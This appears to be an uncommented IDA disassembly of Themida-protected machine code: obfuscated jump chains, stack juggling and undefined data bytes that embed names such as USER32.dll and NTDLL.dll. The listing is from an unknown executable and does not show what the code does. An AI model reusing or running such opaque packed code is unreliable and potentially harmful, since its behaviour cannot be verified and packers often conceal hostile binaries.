		dd 8024248Bh, 4DE982EBh, 5BFFFEDCh, 0E953B252h,	0FFFFFCC6h
; ---------------------------------------------------------------------------


loc_5665B4:				; CODE XREF: Themida_:005533CFj
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_5612D1
; ---------------------------------------------------------------------------
		dd 80E2B151h, 0F18625C9h, 0F186DEF6h, 0FE35E980h, 389BE9C9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665D6:				; CODE XREF: Themida_:005595BEj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_562CFA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F7000000h, 9C9CE9D6h, 0D789FFFFh, 0CF44E95Ah, 8EBEFFFFh
		dd 0C113084Eh, 0E6C108EEh, 0C1DEF702h, 0EE8102E6h, 0A1AB1CEFh
		dd 0FEF708E9h, 3E8C1FFh, 0FEBAC5E9h, 0E9D088FFh, 0FFFF1CA1h
; ---------------------------------------------------------------------------


loc_566620:				; CODE XREF: Themida_:0055F57Ej
		pop	eax
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_560029
; ---------------------------------------------------------------------------


loc_56662F:				; CODE XREF: Themida_:0055668Ej
		mov	[esp], eax
		mov	eax, 632B21EBh
		jmp	loc_562B02
; ---------------------------------------------------------------------------
		dd 159C829h, 81BE56E8h,	4E5FDB28h, 8108EEC1h, 7BCF2BF6h
		dd 5EF0014Eh, 0E92434FFh, 0FFFF3FB1h, 6547EB81h, 0CB0131F4h
		dd 6547C381h, 0EB8131F4h, 537F73D1h, 0FFC289E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566675:				; CODE XREF: Themida_:0055C03Dj
		add	esi, 3C8A1B0h
		sub	edx, esi
		pop	esi
		add	edx, 3532108h
		not	edx
		not	edx
		push	ebp
		mov	ebp, 55FE6ECBh
		not	ebp
		sub	ebp, 46D77646h
		or	ebp, 468C28D8h
		inc	ebp
		jmp	loc_5564A6
; ---------------------------------------------------------------------------


loc_5666A2:				; CODE XREF: Themida_:00559AC7j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 0CF00h
		dd 1E5CE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666BA:				; CODE XREF: Themida_:00564DFFj
		sub	ecx, edi
		pop	edi
		jmp	loc_556676
; ---------------------------------------------------------------------------
		dw 51BFh
		dd 8167B335h, 0CD2637EEh, 230EE945h, 0F581FFFFh, 8F668F4h
		dd 0E9EF8957h, 0FFFF5F0Bh, 1632A72Dh, 0B9515E74h, 3EA046EEh
		dd 0DEF7F187h, 0F181F187h, 0C15FB916h, 5059C801h, 42474FFh
		dd 0B7B8E958h, 2966FFFEh, 0EA0566C8h, 538AE930h, 48BFFFFh
		dd 8B545224h, 0C4812414h, 4, 6FB85057h,	3535324Dh, 22964231h
		dd 0FFB72DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566731:				; CODE XREF: Themida_:00552B71j
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		jmp	loc_55B322
; ---------------------------------------------------------------------------
		db 81h
		dd 372BFBE9h, 0C8C181A6h, 8120206Eh, 659F4DC1h,	59CB8996h
		dd 91E9D801h, 5DFFFEE2h, 7FA30ABFh, 8BC7296Eh, 0EC832404h
		dd 241C8904h, 0E957E389h, 0FFFF0B41h
; ---------------------------------------------------------------------------


loc_566770:				; CODE XREF: Themida_:0055B26Fj
		pop	ebx
		mov	ah, dl
		pop	edx
		jmp	loc_565938
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 5Ah
		dd 0FF2D3CE9h, 242489FFh, 4E468h, 24348900h, 2898B951h
		dd 6CBE26A9h, 1D956D7h,	0E95259CEh, 0FFFF5CBDh
; ---------------------------------------------------------------------------


loc_5667A0:				; CODE XREF: Themida_:0055FCA1j
		pop	esp
		mov	[esp], edi
		jmp	loc_560EFA
; ---------------------------------------------------------------------------
		db 1, 0C5h, 58h
		dd 0E9242C33h, 0FFFFA7A1h, 55EA815Ch, 565FDD46h, 0FFF605E9h
		dd 243433FFh, 8924248Bh, 99E92414h, 81FFFF43h, 0A175F7C1h
		dd 0F1815A30h, 5066FE5Ch, 8904EC83h, 481240Ch, 9D20B424h
		dd 0ED815D1Dh, 1D9D20B4h, 0FFB20EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5667F5:				; CODE XREF: Themida_:005556F5j
		or	ecx, 709F4D62h
		sub	ecx, 1B3B1114h
		mov	esi, ecx
		jmp	loc_564C03
; ---------------------------------------------------------------------------
		dd 37E9E089h, 81FFFF60h, 0AB6FD0F6h, 0F476E941h, 5F54FFFEh
		dd 4BA52h, 0D7010000h, 0E924148Bh, 0FFFF77A9h, 15DE901h
		dd 3C3359CFh, 243C3124h, 0FF5C3EE9h, 2B9FFh, 0BE560000h
		dd 76A11B48h, 0E907E6C1h, 0FFFF2876h, 8124048Bh, 4C4h
		dd 9CE94900h, 8FFFFECDh, 8E92404h, 5AFFFFA1h, 0E959CD31h
		dd 0FFFFFE62h, 0FC2CC381h, 0DE01D1F2h, 0FFFC1AE9h, 8BEE81FFh
		dd 561A1C37h, 87242C81h, 5B0C4D63h, 6387C381h, 348B0C4Dh
		dd 0D6A6E924h, 36B4FFFEh, 2867EC80h, 0B60F58E3h, 87048FC0h
		dd 0FEAE41E9h, 0ECB850FFh, 357AEC14h, 7AEC14DCh, 0C8E9C389h
		dd 51FFFFC2h, 0C1815954h, 4, 4C181h, 7FE90000h,	66FFFF47h
		dd 0E924048Bh, 0FFFFCA29h, 0EB88F588h, 0E3805A59h, 0ECEB807Ch
		dd 5BDA88h, 0ED1FE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668F2:				; CODE XREF: Themida_:00551FF3j
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_566C63
; ---------------------------------------------------------------------------
		dw 0F480h
		dd 80C4FEF8h, 0D0B3A0F4h, 0F6F2F380h, 0FE5366DBh, 71E9240Ch
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56691F:				; CODE XREF: Themida_:0056016Bj
		add	esp, 4
		push	edi
		mov	edi, 26E454Bh
		jmp	loc_564DEA
; ---------------------------------------------------------------------------
		dd 8BEC885Bh, 0C483240Ch, 0B391E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56693E:				; CODE XREF: Themida_:00565841j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55EE80
; ---------------------------------------------------------------------------
		db 1, 0F7h, 81h
		dd 0BB6F79EFh, 0B8505E44h, 7CC87419h, 0FF71D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566971:				; CODE XREF: Themida_:005655F3j
		not	bh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 98h
		jmp	loc_55DDE1
; ---------------------------------------------------------------------------
		dd 0A9B95153h, 89274428h, 814B59CBh, 217EDBC3h,	0FB874370h
		dd 0FFB4D2E9h, 92B353FFh, 5166DBF6h, 96E99AB5h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_551F86
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0E954242Ch, 0FFFFEAADh
; ---------------------------------------------------------------------------


loc_5669D8:				; CODE XREF: Themida_:0055A49Bj
		sub	edx, 393B314Ch
		jmp	loc_56441D
; ---------------------------------------------------------------------------


loc_5669E3:				; CODE XREF: Themida_:005551B4j
		add	esp, 4
		push	ecx
		mov	ecx, 3D700E62h
		not	ecx
		inc	ecx
		sub	ecx, 46230884h
		jmp	loc_558454
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4EC8324h, 81242489h,	42404h,	0F1E90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566A0F:				; CODE XREF: Themida_:005616EBj
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_565432
; ---------------------------------------------------------------------------
		db 0BAh
		dd 6B1697Eh, 46F4ED81h,	0D5012AD8h, 0FEEA57E9h,	4EC83FFh
		dd 0E9243C89h, 0FFFFD225h, 5C241C87h, 5004C083h, 42474FFh
		dd 0FF2E39E9h, 4C483FFh, 0FF94A5E9h, 319268FFh,	34890000h
		dd 1BE24h, 77090000h, 2434FF1Ch, 0FF58B9E9h, 7663B9FFh
		dd 25E94518h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566A7F:				; CODE XREF: Themida_:0055A287j
		xor	esi, ebp
		jmp	loc_56190F
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFED2E4h
; ---------------------------------------------------------------------------


loc_566A8C:				; CODE XREF: Themida_:00555E7Bj
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_56462F
; ---------------------------------------------------------------------------


loc_566A97:				; CODE XREF: Themida_:00555D9Aj
		sub	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_55535E
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 5FE51D7Fh, 0F704EEC1h, 0E5C681DEh, 0E96A2F69h, 0FFFF9339h
; ---------------------------------------------------------------------------


loc_566ACC:				; CODE XREF: Themida_:00551757j
		sub	eax, 0A881135h
		jmp	loc_552182
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 0AC10E940h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566ADE:				; CODE XREF: Themida_:0055DDF6j
		add	esp, 4
		push	317Bh
		mov	[esp], ecx
		jmp	loc_55DFF9
; ---------------------------------------------------------------------------
		db 1, 0C3h, 50h
		dd 1BE95653h, 5EFFFEDBh, 90E9EE31h, 5AFFFED1h, 0FEE87CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566B09:				; CODE XREF: Themida_:00553E96j
		mov	[eax], edx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_56306A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 36FB0537h, 38A8CE81h, 0F68149A4h, 7D8B425Eh,	0C681D6F7h
		dd 6D249B3Ch, 7BE9F509h, 5FFFFEB7h, 4C781h, 0C7830000h
		dd 68CEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B4A:				; CODE XREF: Themida_:0055C458j
		mov	edi, [esp]
		jmp	loc_554AFC
; ---------------------------------------------------------------------------


loc_566B52:				; CODE XREF: Themida_:00558B17j
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_557C5C
; ---------------------------------------------------------------------------
aYAU		db 'Y[€Åž',0
		dw 80F5h
		dd 34FF9EEDh, 89505A24h, 2342E9E0h, 1C8BFFFFh, 4C48124h
		dd 52000000h, 0EE80E4B6h, 332C80h, 5A3304F0h, 0FED9C0E9h
		dd 0E1C159FFh, 4DC18107h, 892896ECh, 0A696E9CBh, 8158FFFFh
		dd 910B8FC3h, 942EE93Fh, 0F031FFFFh, 0BF57C631h, 5D604192h
		dd 18E9FE01h, 5DFFFF8Ah, 8904EC83h, 14F7242Ch, 242C8B24h
		dd 4C481h, 62E90000h, 5CFFFF83h, 57E68956h, 71734DBFh
		dd 0EDC1E93Ch, 0F521FFFEh, 83FDE95Eh, 31ADFFFFh, 0E044E9D8h
		dd 4B8FFFEh, 81000000h,	0F83246C6h, 0B588E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566C02:				; CODE XREF: Themida_:0055ADD5j
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 620C48CFh
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 1DDE4561h
		sub	ebx, eax
		jmp	loc_555BB0
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 2557F4EDh, 8BE90170h, 1E9242Ch, 31FFFEC9h, 24148BD6h
		dd 81E38953h, 4C3h, 4C38300h, 0FF9D90E9h, 27F868FFh, 55E90000h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566C63:				; CODE XREF: Themida_:00566901j
		xor	edi, [esp]
		jmp	loc_55E096
; ---------------------------------------------------------------------------


loc_566C6B:				; CODE XREF: Themida_:00555011j
		shl	ecx, 7
		xor	ecx, 27C8A93Ah
		sub	ebx, ecx
		pop	ecx
		push	dword ptr [ebx]
		pop	ecx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5593D2
; ---------------------------------------------------------------------------


loc_566C83:				; CODE XREF: Themida_:00562CCFj
		mov	[esp], esi
		push	277D2929h
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562A4B
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6ACE6B61h, 0FEBB02E9h, 1F368FFh, 14890000h, 90FE924h
		dd 875BFFFFh, 71E9243Ch
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CC3:				; CODE XREF: Themida_:00563634j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		sub	ebx, 791D1FB8h
		add	ebx, esi
		add	ebx, 791D1FB8h
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55BF50
; ---------------------------------------------------------------------------


loc_566CF9:				; CODE XREF: Themida_:0055BEBEj
		mov	ecx, 5E7D002Ch
		neg	ecx
		add	ecx, 9145521Eh
		and	edi, ecx
		pop	ecx
		neg	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_55789F
; ---------------------------------------------------------------------------


loc_566D13:				; CODE XREF: Themida_:0055F744j
		xor	esi, 35F78CFh
		sub	esi, 44836535h
		add	esi, 24E81C82h
		sub	esi, 0E684DEDh
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55A56B
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 243C335Dh, 33243C31h, 0FDE9243Ch
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566D47:				; CODE XREF: Themida_:00563DC9j
		add	esp, 4
		add	ebp, 23024E10h
		add	ebp, eax
		sub	ebp, 23024E10h
		jmp	loc_563BE3
; ---------------------------------------------------------------------------
		db 68h,	0Ah, 6
		dd 0C890000h, 0D48BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566D6A:				; CODE XREF: Themida_:0055C905j
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	4D0774D4h
		pop	ecx
		shl	ecx, 8
		jmp	loc_5635EE
; ---------------------------------------------------------------------------


loc_566D87:				; CODE XREF: Themida_:005586FFj
		add	eax, edi
		jmp	loc_55FC79
; ---------------------------------------------------------------------------
		dw 71BDh
		dd 8178170Ch, 304949E5h, 1ED814Ch, 0E9000000h, 0FFFEBB38h
		dd 740AE952h, 0AE8FFFFh, 91000000h, 7178274Dh, 0F084EBD5h
		dd 6DF380A5h, 38E0F5Ah,	0F000000h, 0C281CBBFh, 6FA6h, 8A0Fh
		dd 68BE0000h, 8143E598h, 0E57C9FEEh, 0F3816643h, 28BA17Eh
		dd 96C3C081h, 58B33C81h, 0E745F081h, 23B77FDEh,	0A54DC081h
		dd 0F1814208h, 50E92998h, 0F88B6050h, 0DF816657h, 615B6FA9h
		dd 0CE9028Fh, 49000000h, 0A79412FBh, 16407C46h,	832B51E2h
		dd 5B5104EAh, 1EE81h, 850F0000h, 0FFFFFFB2h, 0BBCB8166h
		dd 47E985h, 50410000h, 53554094h, 32335245h, 6C6C642Eh
		dd 56444100h, 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h
		dd 6C6C64h, 0A07D7h, 1D0001h, 30010h, 1C40019h,	4 dup(0)
		dd 8F3E900h, 680000h, 0E9062DA9h, 0FFFDD7D0h, 2DA97268h
		dd 0D7C6E906h, 7368FFFDh, 0E9062DAAh, 0FFFDD7BCh, 2DABE168h
		dd 0D7B2E906h, 4C68FFFDh, 0E9062DACh, 0FFFDD7A8h, 2DAD6868h
		dd 0D79EE906h, 0DD68FFFDh, 0E9062DADh, 0FFFDD794h, 108CB8A5h
		dd 0A05C60F7h, 0F32F1147h, 3FFBDD94h, 48447EE0h, 79E17A3Dh
		dd 2E2C4B47h, 0DA7F9814h, 8BCD2AE6h, 84AB71ADh,	0C668F678h
		dd 3E8D8B92h, 0F4270E73h, 17966D6Fh, 53B84E73h,	33418EE3h
		dd 8AC68D92h, 65A0BAD9h, 59B2CEFEh, 625C8C1h, 3F0D70FAh
		dd 2A15056Dh, 0F0F4E456h, 36F10D6Bh, 0D2F46C2Bh, 500661F9h
		dd 0F811BF6Eh, 658761C4h, 0AEACEB15h, 0CB20CA94h, 8EC98B11h
		dd 0FE3D5DAEh, 0CBAB4553h, 40DE8B11h, 3ADBB24h,	768B11CBh
		dd 0F5034CE8h, 953CDE40h, 0A1EC7BE7h, 70E95261h, 94E37F4Ch
		dd 64FB8FE5h, 36C5C460h, 2FB8B505h, 0F0DBED70h,	8490BF6Eh
		dd 9308AFC9h, 18ED7510h, 97AB0042h, 6FF3B27Bh, 85A3A5E0h
		dd 5076EE09h, 5A3CBD22h, 0C479430h, 742h, 2CE8DC81h, 7CB88CD3h
		dd 8F0B3D23h, 0DBD7F170h, 64A09ABCh, 0A5BD2619h, 520867A3h
		dd 65BB470h, 0AFA9C6C2h, 0A04F0D89h, 0C6691A94h, 0D1E96F92h
		dd 2222C781h, 7F9BA704h, 37F2A1ACh, 0B03115B5h,	5349E3F1h
		dd 223C94EBh, 89AFA986h, 7CED1C22h, 6C78E70Ch, 8AD9EA70h
		dd 0CFCA1505h, 1D7AB68Ah, 54AB0044h, 61883A1Ch,	644A2A40h
		dd 6D09CB7h, 6AF30000h,	1E45A25Eh, 0CF95F22Eh, 63E23DF9h
		dd 282E4945h, 0A86F9A16h, 95112B2Fh, 2AE6E07Ah,	74B094CDh
		dd 837F591Bh, 842632D9h, 0F992C669h, 0C781677Bh, 0A6052322h
		dd 50AF7C98h, 5CD53610h, 77F31FE3h, 2F7D96DDh, 3Ch, 0E1C781ABh
		dd 62F0B125h, 9394EBC0h, 323BF7D1h, 1622ADC2h, 8AC74F16h
		dd 0D964F36Fh, 4BA0A6BAh, 0C35F61F4h, 9EA2B7CAh, 685C0562h
		dd 78C1CC83h, 0ACF33AC8h, 4BA0AB62h, 96000006h,	2222C781h
		dd 5203E804h, 0B7428DE2h, 0A20204C8h, 93A0F4A2h, 944D3AACh
		dd 444CBDC6h, 8AC60F9Dh, 0FD8F9DB0h, 906D3E0Fh,	0DB30144Dh
		dd 138F2B47h, 5E5A7CF4h, 0C5125FAFh, 0CB68AB7h,	2AB5A573h
		dd 4AE4F09Fh, 3F6743E7h, 66457FE0h, 324DBCD8h, 809F1B2Dh
		dd 0BB06E5DFh, 0F301ACB9h, 6743E779h, 0AA44120Ch, 0DF6743E7h
		dd 4973E443h, 3240DC62h, 505504E1h, 0CF084390h,	0F2000005h
		dd 44A35F69h, 94F32F11h, 0E502FEC0h, 314E4A62h,	6E9B1729h
		dd 16282EABh, 0E7E17D9Ah, 0B18BCC2Bh, 7C5A1A75h, 2735DA80h
		dd 92C66A85h, 81647CF8h, 0B70AE1C7h, 0ED309BBDh, 247B5074h
		dd 9E103C31h, 0F394EBC0h, 13F8D36Fh, 3E43261Ah,	199CC185h
		dd 3394EBDEh, 96D83F2Ch, 0FEF0F97Dh, 81E5FFFFh,	83E22C7h
		dd 0F3624CA3h, 5002C520h, 504F9834h, 24F73610h,	1979C737h
		dd 0A59BC12Ch, 2E4F3846h, 55837E8h, 2C38A7C3h, 8AC67985h
		dd 88BCA5F8h, 1D401F23h, 22BEC02Bh, 0DA1767E6h,	0AFD27F8Dh
		dd 5EBD7313h, 41AAC6F8h, 41AFFE8Bh, 0BB8FB667h,	414CE38Fh
		dd 1BD9B71h, 4E470000h,	4DE353B8h, 4996320Ah, 4779DFBAh
		dd 0BDD3DA64h, 8AC68D18h, 729BE02Fh, 8E491D51h,	0E227B572h
		dd 71876187h, 8854D6E2h, 31298B11h, 0FAF747F8h,	0C92C2E6Dh
		dd 0CBF24F30h, 0DDE7A76h, 7E48126Dh, 0F51C8DADh, 10342B66h
		dd 6A66A7BBh, 953C5BFBh, 0DC39B3FEh, 0E049E3F1h, 223C8D24h
		dd 4992E055h, 77546AEEh, 0DF4322EBh, 0A6B2410Ch, 8D24B204h
		dd 3728E179h, 2F3DAAC7h, 9309F6BEh, 831E49D1h, 83224C1h
		dd 31764CA3h, 2F71464Ch, 5CBB7793h, 49E3F1E4h, 3C874FC8h
		dd 254167E1h, 0C81CAEBAh, 0E971874Fh, 23DE274Dh, 68BB3059h
		dd 461E1h, 0C9FB6000h, 99AFB2CDh, 685E021Dh, 341053ACh
		dd 81BB9FF8h, 9C39F805h, 0EB0480BAh, 3A555173h,	88E72325h
		dd 6832EEC8h, 6B3BB5C3h, 0CA4E92C6h, 0D6E271F6h, 94EBC054h
		dd 47F83129h, 5F6DFAF7h, 8AD97907h, 38C7100Eh, 0EAC1075Dh
		dd 154A5554h, 9773D9E0h, 50EC2A0Fh, 22263B54h, 0D4F272C9h
		dd 2AD261AEh, 50FB284Ah, 3F6h, 78B490CDh, 8804381Fh, 0DBD7E96Fh
		dd 67A385BCh, 0B06C5608h, 51099245h, 654B36Fh, 0B2A7C03Ch
		dd 73F5128Eh, 6C835955h, 0C66CAE40h, 8DA5A392h,	50A30271h
		dd 0BC2093E1h, 1432324Dh, 0CEE868B7h, 85BB9EFDh, 4286DB26h
		dd 0D9AD8669h, 6E52E316h, 0B197CDC8h, 85DD5878h, 60EF94EBh
		dd 0A6052325h, 0A03C185Bh, 33016E69h, 7BB7D97h,	27FFFFFDh
		dd 54D6E271h, 2994EBC0h, 0AFA9F831h, 0C1312289h, 0C0FF719Fh
		dd 8C9294EBh, 0B8D9E770h, 0BB8AC6D3h, 47927BDCh, 0A46005DEh
		dd 0D95C4DE9h, 4E514541h, 8BE858B3h, 9A3B15Ch, 7C94EBC0h
		dd 0A7043821h, 838E7F9Bh, 0C68DD075h, 2CEB778Ah, 0E4869221h
		dd 996D3F0Dh, 0D0880881h, 1FD52780h, 761542AFh,	0DD82DDE3h
		dd 8F7E00EBh, 8FC17480h, 0FA64DB7Bh, 81AF3A11h,	0DF798FEFh
		dd 4553FC62h, 0DF798FABh, 0D84940DEh, 0B0DC0B68h, 0C154CB1Dh
		dd 0E2A12E30h, 7C1B4462h, 772BE2C4h, 92AAADE8h,	6A4C041Bh
		dd 9619D9D8h, 0B49F4CFEh, 2DAh,	545074E9h, 0E420243Bh
		dd 37F3D58Bh, 43BF99D8h, 8C083224h, 3D25BE61h, 0EA708F0Bh
		dd 9EC3DCD8h, 57116EAAh, 48E7B571h, 0C66DB23Ch,	6941C792h
		dd 85D21F6Fh, 0D978A177h, 6BE5908Ah, 28767788h,	0AFD1115Ch
		dd 932FDF86h, 5BB63844h, 57CB6D39h, 1C4BD756h, 54D6E271h
		dd 296D395Bh, 0B0A9F831h, 62F7108Ch, 362E8D5Eh,	91B9E210h
		dd 0CB184A2Ah, 26580h, 0C5FF5C00h, 95ABAEC9h, 645AFE19h
		dd 30144FA8h, 0FDC79BF4h, 9805F401h, 0E700FCC6h, 36514D77h
		dd 84E31F21h, 6C2EEACCh, 6D3FB1DFh, 0D65292C6h,	0D21F6FF2h
		dd 78A17785h, 62FC8AD9h, 2BDE96F5h, 4E79E7F1h, 5753EFA1h
		dd 0DF0867D6h, 399335B1h, 0E5C6586Dh, 2DFEC096h, 0B584F35Eh
		dd 0A31DFBA1h, 0B6A8F736h, 55759D5Fh, 0E07C8DA3h, 0AAD62524h
		dd 39B7EC9Eh, 5DF9616Dh, 0B74CE6F2h, 2A016D39h,	0BD5EF6Fh
		dd 6D39B761h, 61EE0A14h, 2E3A3F22h, 6D39B79Ch, 0FECD69F1h
		dd 87DAA960h, 2D00EBCDh, 0E4C0831Eh, 6FB27B07h,	0F984D3F5h
		dd 0D680C69Ah, 6D39B754h, 0C48986A5h, 0A11AB9FBh, 759270B9h
		dd 1F8AD5F3h, 0C1EF6F6Fh, 6D39C22Fh, 63733C22h,	0BB87F055h
		dd 993B9334h, 0FF5221E8h, 2784BEA0h, 6E40921Bh,	76556FEFh
		dd 0B912362Bh, 0FF7256CFh, 45695DD6h, 7EE92503h, 2B393E23h
		dd 6D39AD81h, 0DFCE6AF4h, 45A680C0h, 6DB69B06h,	0EE69878Ch
		dd 447EE03Fh, 5A391467h, 5FC8C107h, 2B0D476Bh, 0F4CE90EFh
		dd 0CA4D3817h, 12389811h, 201224E5h, 0E9C21A5Dh, 9DFACC92h
		dd 0D52883C5h, 0CE50BB8Dh, 6D04F87Dh, 224EDD64h, 6D39F288h
		dd 711F9971h, 15E6E955h, 0A79B8405h, 0A9655F03h, 0E5084Eh
		dd 3943DAB0h, 775468F1h, 0D8334FEBh, 3E8DC85h, 47085BCh
		dd 7972C25Bh, 196447E3h, 0F9AD7E5Eh, 37F57C40h,	0E2743A0Eh
		dd 81C3DCD8h, 0E0E68894h, 879B6D39h, 0DECD806Bh, 0E64C26AEh
		dd 325E4F7Ch, 0A4CC0D7Ah, 9477490Fh, 0DC2F1149h, 0BEF4C88Dh
		dd 344AA187h, 17EB1298h, 3BF7D193h, 0D1F7712Ch,	0A98FC9D8h
		dd 23D733Eh, 0A96ED905h, 0B8718DB3h, 0FEC096E5h, 0FBCF782Dh
		dd 4C9BBDB7h, 0F6370951h, 64701F08h, 0D5B4A6CAh, 176AA3BFh
		dd 0A3907B5Dh, 0A3B11E53h, 0CB99A6BEh, 0C24D49D1h
		dd 7FAE92C7h, 0E6717ECEh, 3992B6ABh, 5B69E821h,	0B1ED1C5Fh
		dd 8CC32836h, 0F49AB601h, 1099D084h, 0B5715711h, 0EF3C1A5Ah
		dd 538CA6E1h, 92768FFEh, 87C1241Ch, 0E1CAFC62h,	50EE3D59h
		dd 206FF834h, 947FBFE1h, 7ADEB9F5h, 0D2DB6744h,	0F17095CFh
		dd 0D50BBD7h, 0EF99724Ah, 241C9276h, 0EF698602h, 36BE2C9h
		dd 4F000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h,	312D705Bh
		dd 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h
		dd 5708D833h, 0C781E789h, 4, 4EF81h, 3C870000h,	34895C24h
		dd 17CF6824h, 4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	62DA824h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, ecx
		push	eax
		pop	dword ptr [edx]
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544660
; ---------------------------------------------------------------------------
		dd 0F3413013h, 0B067B877h, 0C503062Dh, 986CE0FFh, 9F44760h
		dd 61F45854h, 69FC6A40h, 0F4596B76h, 0CC6817FDh, 0EC9D3D7Eh
		dd 86766AC0h, 23F86F21h, 0A9882633h, 2FFE248Ch,	2350253Dh
		dd 381127BDh, 0CC01EC7h, 9EE74846h, 58B6779h, 0AE54201Dh
		dd 3287576Bh, 0DCB246BAh, 0C5CA70D0h, 8DE927AFh, 60000000h
		dd 1C75BD83h, 0F00062Bh, 584h, 78E900h,	6A0000h, 0F303E80h
		dd 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh, 106A0000h
		dd 24E946h, 3E800000h, 8850F34h, 6A000000h, 13E94630h
		dd 80000000h, 850F353Eh, 8, 0E946406Ah,	2, 3E80006Ah, 12850F20h
		dd 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h,	5858D00h
		dd 90062B0Eh, 89509050h, 6A2434h, 2BDD95FFh, 0C361062Bh
		dd 332D85C6h, 684D062Bh, 576272B3h, 0F5240481h,	0FF4CD303h
		dd 2B2F19B5h, 25858D06h, 0FF062B3Ch, 0DD8589D0h, 0E8062B2Bh
		dd 12h,	2A7DC86Ch, 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 0BF0F38A7h
		dd 81F55AF1h, 5C56C2h, 75B58B00h, 2B062B07h, 10E9DBh, 21B50000h
		dd 66BC0409h, 913BE487h, 9EF037CBh, 34FFD0A5h, 0D8816613h
		dd 0B59A8FAh, 2B216DB5h, 1E98106h, 29055639h, 2B0ACD8Dh
		dd 15F18106h, 8B2D7C89h, 2B1CF1BDh, 0C1F18106h,	51642B99h
		dd 0D17FE681h, 48F7953h, 0BD01511Ah, 62B17D5h, 836BB458h
		dd 14E904EBh, 0E6000000h, 0FC199376h, 92ABC20Ch, 0AFA07593h
		dd 8DBB81C1h, 81AACED1h, 0FFA460FBh, 97850FFFh,	0FFFFFFFh
